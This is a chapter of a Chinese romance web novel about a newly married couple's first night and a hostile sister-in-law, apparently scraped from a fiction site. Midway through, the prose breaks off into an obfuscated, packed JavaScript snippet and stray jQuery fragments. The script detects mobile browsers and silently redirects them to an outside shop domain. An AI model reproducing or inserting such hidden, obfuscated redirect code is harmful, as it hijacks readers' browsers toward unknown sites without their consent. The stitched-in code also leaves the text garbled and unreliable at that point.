文趣网 > 都市小说 > 装傻[先婚后爱] > 20. 让你每晚都夸我厉害
    房间新增两台加湿器,一看就是为她准备的。

    也只有她怕京市的干燥。

    薄雾飘散,男人斜倚榻上,徐悠一时看得眼晕。

    陈怀瑾明亮略带湿润的眼睛笑成了月牙,胸口微微震颤带动被子摩擦出轻微的声响。

    “哪种睡?”

    他故意滑下身子,有一只胳膊撑在脑后压在枕头上。距离她鼻尖只有一个手指的空隙。

    裸露的手臂差点儿贴上火热的脸颊。

    证领了,睡一张床是跑不掉的。

    徐悠像被戳中的蜗牛,一下子缩回壳里。

    黑洞洞的缝隙中露出一缕凌乱的碎发和慌张的眼睛。

    “我没有别的意思,就是……就是问清楚些。”

    其实睡不睡都不亏,她瞥了眼男人前胸。她只是想死个明白。

    虽然没联姻过,但也不会傻到对这种事一无所知。

    身边学长和学姐们许多都是协议夫妻,甚至大姐徐意也包括在内。婚后都会和正常夫妻一样,该发生的都发生。

    总不能稀里糊涂的,万一陈怀瑾兽性大发,自己一点儿防备都没有。

    “你……你要戴伞的,我还没毕业呢,不想这么早就……”

    她被闷的想流泪,强忍着难过从缝隙里偷偷打量陈怀瑾。

    棉质丝滑的半袖T恤下,男人的肌肉松弛而优雅,不具备任何侵略性。

    她揪着的心稍微松下一些。

    陈怀瑾努力让自己眼神柔和下来。

    “你想吗?”

    面前被子包裹的一坨晃了晃,能看出里面的人在摇头。

    陈怀瑾心里有点难过,但也明白,两个人的关系是被联姻这个作弊手段强行跨越到如今地步,其实徐悠身体和心理上还没完全接受自己。

    刚刚的探寻也不过是成年人面对不可回避的勉为其难而已。

    思绪犹疑间,徐悠隔着被子重申道,“我还没……还没准备好,能不能等一等,给我点时间。”

    缝隙中挤出通红的脸颊,黑发凌乱地纠缠着,她窃窃地望着陈怀瑾。

    这一刻,那个玉石俱焚、深夜持|刀的女孩儿卸掉所有铠甲,像拔掉尖刺的小刺猬,柔软示弱。

    然而之于男人,女人的柔弱永远是最致命的武器。

    像被一柄匕首滑开胸膛,陈怀瑾眉间闪过一抹痛楚。压在枕头上的胳膊抬起,单手拨开被子,撩开发丝,然后深深地望进女孩儿眼睛里。

    “我说过,尊重你。”

    紧咬的嘴唇终于松开,血色瞬间占据唇间,仿佛一夜春风吹红的花瓣。

    徐悠松口气,“那我先睡了。你别熬太晚。”

    陈怀瑾应着,替她整理好蓬松的枕头。

    鼓鼓囊囊的羽绒枕在他胳膊底下变得乖顺,徐悠揉揉眼睛躺了上去。

    她背对陈怀瑾,合眼前微微侧头道,“是Amrx的事情吗?”

    华济目前最头疼的就是刚收进囊中的烫手山芋Amrx,也只有它能让陈怀瑾彻夜不眠。

    男人嗯了声,随手关掉床头灯和氛围灯。

    “老公,你很厉害,无论什么困难都不能把你打败。”

    她闭着眼睛硬夸,算计感激不睡之恩,把陈怀瑾逗笑了。

    男人原本要靠回去,想起什么似的,伸出手,手背压在她胳膊上。

    “谢谢老婆夸奖,我争取做到让你每天都说我厉害。”

    居然敢开她玩笑。

    “陈怀瑾!”

    徐悠气得拍了下他掌心,像温热的漩涡,怕烫到似的抽回来,却被一把握住,一股热浪扑在耳边,炽热而轻描淡写的吻落在腮边。

    “数罪并罚,晚安。”

    徐悠蜷缩一团,像寒风中紧抱的花蕊,鼻尖还萦绕着辛辣的薄荷味,辣得脸颊又红又烫。

    她使劲儿闭了闭眼睛,彻底把自己安顿在枕头里。

    陈怀瑾替她拉高被子,撤回胳膊前摸了摸女孩儿乌黑冰凉的头发,才转回电脑前。

    Amrx实验数据不理想,二级市场反应极快,股价持续低迷,这次收购等于失败一半。

    华济进军北美创新药领域第一步棋失策了。

    可认输两个字从不在陈怀瑾的字典里。

    他把实验室近期数据和过去五年的进行比对,还有3项实验结果和Amrx方负责人发来的邮件都过了一遍,才在备忘录里写下明天的会议备注。

    刚好手环提示凌晨2点,必须睡觉了。

    陈怀瑾才把边桌往旁边一推,拉过另一张被子躺下。

    这是他和徐悠共同度过的第一个夜晚,之后便是第一个清晨。他心里总有一种难以形容的美好令垂暮沉沉的心羞涩难当。

    不出意外的,他又比闹钟醒得早。

    但更意外的是,有人在昨晚越位犯规。

    陈怀瑾还没睁开眼睛,就已经感觉到被重物压着。

    女孩儿本也不重,只是睡熟的人多出对周遭一切满不在乎的豪气。

    这豪气压得陈怀瑾不敢轻举妄动。任由她如一株尽力生长的藤蔓,蜿蜒在脖颈、胸口、腰腹和大腿上。

    手环第三次震动提醒陈怀瑾不得不起床。

    他有晨跑的习惯。

    运动可以排遣积蓄多年的压抑和愤懑。哪怕每天甩掉的一点点只是杯水车薪,也好过被积攒的阴郁逼疯。

    于是,从她瘫软无力的四肢中抽出胳膊,他关掉延迟提醒,防止打扰酣睡的人,接下来就要着手从温柔的牢笼中悄无声息的解脱出来。

    但脑海中的想法似乎被睡梦中的人无意察觉,女孩儿的腿霸道地往上抬了抬,恰好碰到男人身体最先觉醒的部位。

    陈怀瑾闷吭一声,换个姿势,加紧动作,金蝉脱壳般蹭出被窝,然后把枕头卷在被子里,刚好堵住缺口。

    浑然不觉的徐悠并不知道自己最钟爱的睡姿给另一半造成巨大困扰。

    她只在乎怀抱里紧紧拥着的那一块浮冰仿佛要漂走,不耐烦地哼了声,表达自己的不满。

    陈怀瑾立刻抓过个长条形抱枕放在膝盖下方。

    睡梦中的人才又抬抬膝盖,拿捏合适的角度,紧皱的眉头松开,又懒懒哼了声。

    成功脱身的陈怀瑾半跪在床边,长出口气,换身衣服出门晨跑。

    而徐悠根本不知道发生的一切。

    只感觉像漂在海上,自由自在,快到岸边时,有个人影,身材像小连长一样,脸颊还有些稚嫩的轮廓,而眼睛则像陈怀瑾。

    被那双明亮而深邃的眼睛触动,一个机灵,终于醒过来。

    “看来还是生病好啊,可以睡到自然醒?”

    徐悠迷迷糊糊睁开眼,茫然扫视一圈,才看见套房门口站着的陈思瑜。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666128|207277||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    她换了套浅色运动套装,比昨天更像个学生。但刻薄的嘴脸没变。这让原本清秀的外貌变得不值一提。

    房间很安静,看阳光照射的角度,应该已经过了早饭时间。

    徐悠一边整理衣服一边找手机。

    昨晚太累,睡前都不记得把手机扔哪儿了。

    陈思瑜静静地看她手忙脚乱地在屋里翻找,不是被柜子磕了膝盖就是被帷幔打了头,没头苍蝇似的乱撞。

    方形边桌上的药膏和海盐喷雾也被碰倒了。

    她抱着肩膀冷笑一声,真不知道她哥在哪儿找的这个笨蛋。

    徐悠懒得搭理,找到手机,上面有陈怀瑾发来的留言,今天开会,晚上可能要很晚。

    于是她整理好衣服就去了客厅。

    空无一人,只有阳光和卧室里一样明媚。厨房有佣人忙碌的声音,陈君和祖奉珍都不在。

    “别找了!”陈思瑜慢悠悠踱到她身后,像猎人回看陷阱里的猎物一样,逗弄道,“爷爷和哥哥去总部开会了,安平慈善基金今天有个启动仪式,奶奶是理事长,当然要去。所以今天……就我们两个。”

    说到这儿,陈思瑜居然有一丝愉悦的窃喜。

    徐悠可不会纵着她得意,冷冷回了句,“你不上课吗还是不用去精神病院了?”然后转身去了餐厅。

    一位上年纪的女性立刻端过还冒着热气的早餐。

    这比月影山庄的待遇好了不是一星半点。所有餐食都照顾她的口味。昨天饭桌上,祖奉珍还提议招个粤菜厨子,专门为徐悠做饭。

    心里暖暖的她礼貌谢过才动勺子。

    陈思瑜一屁股坐到她旁边,毫不在意地说,“我学分都修够了,只剩专业课,今天下午还有一节。你和我哥怎么认识的。”

    不想一大早上被人破坏心情,她含糊地应付着。

    “就那么认识的。你不是有毕业论文吗?”

    “论文快写完了。你和我哥谁追谁。”

    “快写完了就是还没写完,我劝你早点。”

    “你得回答我的问题。”

    “我正吃饭呢,你的问题可以问你哥。”

    “可我就想知道你的答案。”

    “我不想让你知道。”

    徐悠心里冷笑。

    就在昨天,同样的地方,同样的人,桀骜不驯地挑刺,气得陈怀瑾差点儿摔杯。

    她对陈思瑜并无敌意。

    确切地说,是无感。

    陈思瑜如何对待自己,徐悠都能一笑而过。经历过徐镇远、徐文斌和徐恩的苛待,她清醒地认识到,这个世界上总会有人不喜欢自己,哪怕是血亲。

    但也有人会逆光而来,对抗所有来保护她。

    这个人以前是徐意,现在是陈怀瑾。

    她不允许陈思瑜以妹妹的身份攻击陈怀瑾,所以态度冷淡,算是权绵薄之力表明立场。

    如果陈思瑜再恬不知耻,她就不客气了。

    “可是我想知道答案,而且,你不了解我。不达目的誓不罢休,所以,你做好准备。”

    显然,陈思瑜不认为徐悠能有什么脾气和手段。

    再她看来,这不过又是一个被陈怀瑾的外表和背后的财富吸引的娇娇女,根本没看清她哥哥的本来面目。

    所以,她附在徐悠耳边,低声道,“你最好跟我哥离婚。”